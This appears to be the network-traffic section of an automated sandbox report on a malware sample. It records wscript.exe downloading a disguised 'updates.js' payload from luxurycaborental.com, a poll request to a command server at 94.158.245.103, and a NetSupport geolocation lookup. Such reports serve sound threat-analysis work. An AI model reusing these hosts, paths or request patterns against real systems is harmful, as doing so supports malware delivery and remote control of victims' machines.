Jul 15, 2024 00:48:36.691811085 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691819906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691833973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691843033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691855907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691855907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691869020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691879034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691891909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691896915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691905975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691917896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691929102 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691930056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691952944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691955090 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691965103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691977024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691987038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.692011118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693284988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693331957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693342924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693376064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693393946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693404913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693414927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693425894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693438053 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693450928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693476915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693487883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693497896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693510056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693520069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693522930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693535089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693546057 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693557978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693569899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693581104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693593025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693603992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693604946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693629026 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693653107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693662882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693674088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693686008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693691969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693701029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693711042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693742990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693751097 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693754911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693767071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693778038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693787098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693792105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693804026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693813086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693818092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693840027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693864107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693875074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693886042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693897009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693906069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693907022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693919897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693929911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693941116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.693978071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.693989038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694005013 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694015980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694020987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.694026947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694039106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694042921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.694052935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694068909 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.694089890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694096088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.694103956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694116116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.694144964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.727715969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727766037 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.727771997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727786064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727823019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.727848053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727859974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727873087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727885008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727897882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.727900028 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.727937937 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778310061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778332949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778343916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778459072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778486967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778526068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778542042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778554916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778574944 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778630018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778675079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778686047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778697968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778709888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778718948 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778758049 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778816938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778827906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778837919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778851986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778860092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778908014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778935909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778947115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778964043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778975010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778986931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.778991938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.778997898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.779005051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.779037952 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.780467033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780529022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780539989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780571938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.780596018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780606985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780616999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780627966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780635118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780642033 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.780668020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780673027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.780678988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780705929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780710936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.780718088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780729055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780762911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.780790091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.780836105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782433033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782516003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782529116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782561064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782608032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782620907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782638073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782653093 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782675982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782838106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782850027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782862902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782869101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782881975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782892942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782900095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782903910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782917023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782927990 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782929897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782937050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782943010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782955885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782965899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.782968998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.782994986 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.783010006 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.783191919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783205032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783216000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783227921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783235073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.783241034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783252001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783263922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783263922 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.783279896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783302069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.783318996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783329010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.783332109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.783361912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.784341097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784362078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784373999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784401894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.784501076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784512997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784523964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784539938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784547091 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.784553051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.784569979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.784586906 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785384893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785439968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785450935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785469055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785480976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785482883 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785502911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785528898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785540104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785564899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785568953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785608053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785613060 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785619974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785633087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785645008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785654068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785676956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785708904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785720110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785734892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785747051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785757065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785758972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785772085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785780907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785784960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785797119 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785808086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785810947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785834074 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785850048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785864115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785875082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785886049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785891056 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785897970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785912991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785918951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785918951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.785924911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785931110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.785937071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786009073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786016941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.786027908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786043882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786052942 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.786056995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786068916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786081076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786082029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.786092997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786103010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.786109924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.786128044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.825576067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.825643063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.825762987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:39.124275923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:39.283010006 CEST	57615	443	192.168.2.5	94.158.245.103
Jul 15, 2024 00:48:39.283042908 CEST	443	57615	94.158.245.103	192.168.2.5
Jul 15, 2024 00:48:39.283107996 CEST	57615	443	192.168.2.5	94.158.245.103
Jul 15, 2024 00:48:39.362010002 CEST	57615	443	192.168.2.5	94.158.245.103
Jul 15, 2024 00:48:39.362034082 CEST	443	57615	94.158.245.103	192.168.2.5
Jul 15, 2024 00:48:39.362135887 CEST	443	57615	94.158.245.103	192.168.2.5
Jul 15, 2024 00:48:39.527900934 CEST	57616	80	192.168.2.5	104.26.1.231
Jul 15, 2024 00:48:39.532669067 CEST	80	57616	104.26.1.231	192.168.2.5
Jul 15, 2024 00:48:39.532733917 CEST	57616	80	192.168.2.5	104.26.1.231
Jul 15, 2024 00:48:39.532854080 CEST	57616	80	192.168.2.5	104.26.1.231
Jul 15, 2024 00:48:39.537595987 CEST	80	57616	104.26.1.231	192.168.2.5
Jul 15, 2024 00:48:40.993097067 CEST	80	57616	104.26.1.231	192.168.2.5
Jul 15, 2024 00:48:40.993370056 CEST	57616	80	192.168.2.5	104.26.1.231
Jul 15, 2024 00:48:40.993694067 CEST	80	57616	104.26.1.231	192.168.2.5
Jul 15, 2024 00:48:40.994221926 CEST	57616	80	192.168.2.5	104.26.1.231
Jul 15, 2024 00:48:40.994915009 CEST	80	57616	104.26.1.231	192.168.2.5
Jul 15, 2024 00:48:40.995137930 CEST	57616	80	192.168.2.5	104.26.1.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 15, 2024 00:48:19.635783911 CEST	61644	53	192.168.2.5	1.1.1.1
Jul 15, 2024 00:48:20.558559895 CEST	53	61644	1.1.1.1	192.168.2.5
Jul 15, 2024 00:48:31.239125967 CEST	53	59444	1.1.1.1	192.168.2.5
Jul 15, 2024 00:48:31.986192942 CEST	65247	53	192.168.2.5	1.1.1.1
Jul 15, 2024 00:48:32.302795887 CEST	53	65247	1.1.1.1	192.168.2.5
Jul 15, 2024 00:48:39.494395018 CEST	62242	53	192.168.2.5	1.1.1.1
Jul 15, 2024 00:48:39.505203962 CEST	53	62242	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 15, 2024 00:48:19.635783911 CEST	192.168.2.5	1.1.1.1	0x49df	Standard query (0)	luxurycaborental.com	A (IP address)	IN (0x0001)	false
Jul 15, 2024 00:48:31.986192942 CEST	192.168.2.5	1.1.1.1	0x4f3e	Standard query (0)	dfwreds.com	A (IP address)	IN (0x0001)	false
Jul 15, 2024 00:48:39.494395018 CEST	192.168.2.5	1.1.1.1	0x2358	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 15, 2024 00:48:20.558559895 CEST	1.1.1.1	192.168.2.5	0x49df	No error (0)	luxurycaborental.com	38.180.60.246	A (IP address)	IN (0x0001)	false
Jul 15, 2024 00:48:32.302795887 CEST	1.1.1.1	192.168.2.5	0x4f3e	No error (0)	dfwreds.com	23.227.193.59	A (IP address)	IN (0x0001)	false
Jul 15, 2024 00:48:39.505203962 CEST	1.1.1.1	192.168.2.5	0x2358	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false
Jul 15, 2024 00:48:39.505203962 CEST	1.1.1.1	192.168.2.5	0x2358	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false
Jul 15, 2024 00:48:39.505203962 CEST	1.1.1.1	192.168.2.5	0x2358	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

luxurycaborental.com

dfwreds.com

94.158.245.103connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	38.180.60.246	80	380	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Jul 15, 2024 00:48:20.570775986 CEST	345	OUT	GET /cdn-vs/33per.php?8980 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: luxurycaborental.com Connection: Keep-Alive
Jul 15, 2024 00:48:21.114470959 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Jul 2024 22:48:21 GMT Content-Type: application/octet-stream Content-Length: 7642752 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=updates.js Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 2f 2a 0a 2a 20 4c 69 63 65 6e 73 65 64 20 74 6f 20 74 68 65 20 41 70 61 63 68 65 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 28 41 53 46 29 20 75 6e 64 65 72 20 6f 6e 65 0a 2a 20 6f 72 20 6d 6f 72 65 20 63 6f 6e 74 72 69 62 75 74 6f 72 20 6c 69 63 65 6e 73 65 20 61 67 72 65 65 6d 65 6e 74 73 2e 20 20 53 65 65 20 74 68 65 20 4e 4f 54 49 43 45 20 66 69 6c 65 0a 2a 20 64 69 73 74 72 69 62 75 74 65 64 20 77 69 74 68 20 74 68 69 73 20 77 6f 72 6b 20 66 6f 72 20 61 64 64 69 74 69 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 2a 20 72 65 67 61 72 64 69 6e 67 20 63 6f 70 79 72 69 67 68 74 20 6f 77 6e 65 72 73 68 69 70 2e 20 20 54 68 65 20 41 53 46 20 6c 69 63 65 6e 73 65 73 20 74 68 69 73 20 66 69 6c 65 0a 2a 20 74 6f 20 79 6f 75 20 75 6e 64 65 72 20 74 